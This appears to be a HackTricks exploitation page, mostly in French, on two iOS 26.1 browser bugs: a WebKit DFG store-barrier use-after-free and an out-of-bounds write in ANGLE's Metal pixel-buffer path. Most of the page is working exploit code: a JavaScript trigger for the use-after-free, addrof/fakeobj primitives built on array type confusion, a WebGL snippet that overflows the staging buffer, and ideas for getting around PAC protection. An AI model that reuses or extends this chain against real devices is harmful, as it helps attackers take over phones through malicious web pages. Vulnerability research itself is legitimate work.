WebKit DFG Store-Barrier UAF + ANGLE PBO OOB (iOS 26.1)

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Summary

  • DFG Store Barrier bug (CVE-2025-43529) : Dans DFGStoreBarrierInsertionPhase.cpp, un nœud Phi marqué comme escaped alors que ses entrées Upsilon ne le sont pas fait que la phase omet d’insérer une write barrier sur les stockages d’objets suivants. Sous pression du GC, ceci permet à JSC de libérer des objets encore atteignables → use-after-free.
  • Exploit target : Forcer un objet Date à matérialiser un butterfly (p. ex., a[0] = 1.1) pour que le butterfly soit libéré, puis réaffecté comme stockage d’éléments de tableau afin de créer une confusion boxed/unboxed → primitives addrof/fakeobj.
  • ANGLE Metal PBO bug (CVE-2025-14174) : Le backend Metal alloue le staging buffer PBO en utilisant UNPACK_IMAGE_HEIGHT au lieu de la vraie hauteur de la texture. Fournir une petite unpack height puis lancer un grand texImage2D provoque un staging-buffer OOB write (~240KB dans le PoC ci‑dessous).
  • PAC blockers on arm64e (iOS 26.1) : TypedArray m_vector et JSArray butterfly sont PAC-signed ; forger de faux objets avec des pointeurs choisis par l’attaquant provoque un crash EXC_BAD_ACCESS/EXC_ARM_PAC. Seule la réutilisation de butterflies déjà signés (réinterprétation boxed/unboxed) fonctionne.

Triggering the DFG missing barrier → UAF

function triggerUAF(flag, allocCount) {
const A = {p0: 0x41414141, p1: 1.1, p2: 2.2};
arr[arr_index] = A;                 // Tenure A in old space
const a = new Date(1111); a[0] = 1.1; // Force Date butterfly

// GC pressure
for (let j = 0; j < allocCount; ++j) forGC.push(new ArrayBuffer(0x800000));

const b = {p0: 0x42424242, p1: 1.1};
let f = b; if (flag) f = 1.1;       // Phi escapes, Upsilon not escaped
A.p1 = f;                           // Missing barrier state set up

for (let i = 0; i < 1e6; ++i) {}    // GC race window
b.p1 = a;                           // Store without barrier → frees `a`/butterfly
}

Points clés:

  • Placer A dans old space pour exercer les generational barriers.
  • Créer un Date indexé pour que le butterfly soit la cible libérée.
  • Spray ArrayBuffer(0x800000) pour forcer GC et augmenter la fenêtre de race.
  • Le mismatch d’échappement Phi/Upsilon empêche l’insertion de barrières ; b.p1 = a s’exécute sans write barrier, donc GC récupère a/butterfly.

Récupération du butterfly → confusion boxed/unboxed

Après que GC libère le Date butterfly, spray des arrays pour que la freed slab soit réutilisée comme elements pour deux arrays avec different element kinds:

boxed_arr[0]   = obj;          // store as boxed pointer
const addr     = ftoi(unboxed_arr[0]); // read as float64 → addr leak
unboxed_arr[0] = itof(addr);   // write pointer bits as float
const fake     = boxed_arr[0]; // reinterpret as object → fakeobj

Status on iOS 26.1 (arm64e):

  • Working: addrof, fakeobj, 20+ address leaks per run, inline-slot read/write (on known inline fields).
  • Not stable yet: generalized read64/write64 via inline-slot backings.

PAC constraints on arm64e (pourquoi fake objects crash)

  • TypedArray m_vector et JSArray butterfly sont PAC-signed ; forging pointers provoque EXC_BAD_ACCESS / probablement EXC_ARM_PAC.
  • La primitive de confusion fonctionne parce qu’elle reuses legitimate signed butterflies ; introducing unsigned attacker pointers fails authentication.
  • Idées potentielles de contournement notées : JIT paths that skip auth, gadgets that sign attacker pointers, or pivoting through the ANGLE OOB.

ANGLE Metal PBO under-allocation → OOB write

Utiliser une très petite unpack height pour réduire le staging buffer, puis uploader une grande texture afin que la copie dépasse :

gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, 16);  // alloc height
// staging = 256 * 16 * 4 = 16KB
// actual  = 256 * 256 * 4 = 256KB → ~240KB OOB

gl.texImage2D(gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
256, 256, 0, gl.DEPTH_COMPONENT, gl.FLOAT, 0);

Remarques:

  • Bug dans TextureMtl.cpp : le staging buffer utilise UNPACK_IMAGE_HEIGHT au lieu de la hauteur réelle de la texture sur le chemin PBO.
  • Dans la sonde de référence, le déclencheur WebGL2 PBO est raccordé mais pas encore observé de manière fiable sur iOS 26.1.

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks